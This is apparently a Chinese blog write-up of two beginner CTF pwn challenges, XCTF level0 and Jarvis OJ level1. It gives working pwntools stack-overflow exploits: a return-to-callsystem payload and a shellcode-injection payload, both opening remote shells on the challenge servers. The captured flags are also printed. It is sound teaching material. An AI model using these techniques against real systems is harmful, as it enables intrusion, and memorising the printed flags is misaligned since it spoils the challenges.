攻防世界level0 + (Jarvis Oj)(Pwn) level1

攻防世界level0
将文件在ida中打开,
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片

输出字符串helloWord之后执行vulnerable_function()函数,没有与用户交互,双击进去查看,,
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片

无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转。查找字符串
这是 vulnerable_function 函数,可以在栈上写0x200个字节,或许我们可以进行溢出,覆盖掉返回地址,劫持程序执行流,执行我们想执行的方法。通常我们的目的是去执行 system("/bin/sh")
看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,查看调用发现了 callsystem函数,我们可以把返回地址改成callsystem的地址。
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片

点进去之后,点击strings,进入以下页面
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片

双击bin/sh就能查看bin/sh的存储位置
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片

将光标放置在bin/sh这一行,按键盘上x就能找到哪里调用了bin/sh,这样我们就找到了callsystem。
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片


因此,可以在read时,将函数返回地址覆盖为callsystem函数地址,则可实现漏洞利用
推测返回地址错误,看vulnerable_function()函数汇编代码
脚本如下:

from pwn import *#导入pwntools中pwn包的所有内容p = remote('111.198.29.45',33907)# 链接服务器远程交互,等同于nc ip 端口 命令elf = ELF('./level0')# 以ELF文件格式读取level0文件sysaddr = elf.symbols['callsystem']# 获取ELF文件中callsystem标记的地址payload = 'a'*(0x80 + 8) + p64(sysaddr)# payload,先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址p.recv()#接收输出p.send(payload)# 发送payloadp.interactive()# 反弹shell进行交互

把脚本和执行文件都拖到Ubuntu中,cat得到flag。。。。
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片


cyberpeace{c059d53c0799598a0a320babff2fb2ab}
(Jarvis Oj)(Pwn) level1
在Ubuntu中输入checksec level1能够查看这个文件到底是32位还是64位,,(因为已经安装了pwntools所以该命令能够执行,安装过程见上篇博客)
可以用checksec脚本来查询该文件使用了哪些防护技术。
./checksec --file file

攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片


然后用ida32位打开,查看伪代码,,
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
看到有个vulnerable_function()函数,
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片


ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
根据以上代码,可以写得脚本,,,

from pwn import * context(arch = 'i386', os = 'linux')shellcode = asm(shellcraft.sh())#用函数shellcraft.sh()直接生成shellcode #asm io = remote('pwn2.jarvisoj.com', 9877) text = io.recvline()[14: -2]buf_addr = int(text, 16)payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr) io.send(payload) io.interactive() io.close()



可以看到在vulnerable_function中泄漏了buf的内存,用checksec可以发现这个程序编译时关了栈不可执行保护,于是我们就可以在buf里面输入shellcode和填充字符,将vulnerable_function的返回地址覆盖为buf的栈上地址,实现一次较简单的栈溢出攻击。
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片


攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片

我们现在来使用 ida 来查看该函数的栈帧 , 用来计算 buf 首地址到 返回地址的偏移
因此通过上面两个图
payload=shellcode+‘a’ * (0x88 0x4 - len(shellcode)) + p32(buf_addr)

现在的关键是写shellcode
写shellcode
1)先设置目标机的参数
context(os=’linux’, arch=’amd64’, log_level=’debug’)
os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
arch设置架构为:,64位的模式为amd64,对应的32位模式是’i386’,根据刚才终端命令可以得知为32位
log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,所以有时候可以不输入。
2)获取shellcode
获得执行system(“/bin/sh”)汇编代码所对应的机器码
asm(shellcraft.sh())
攻防世界level0 + (Jarvis Oj)(Pwn) level1
文章图片

成功拿到flag
CTF{82c2aa534a9dede9c3a0045d0fec8617}


【攻防世界level0 + (Jarvis Oj)(Pwn) level1】

    推荐阅读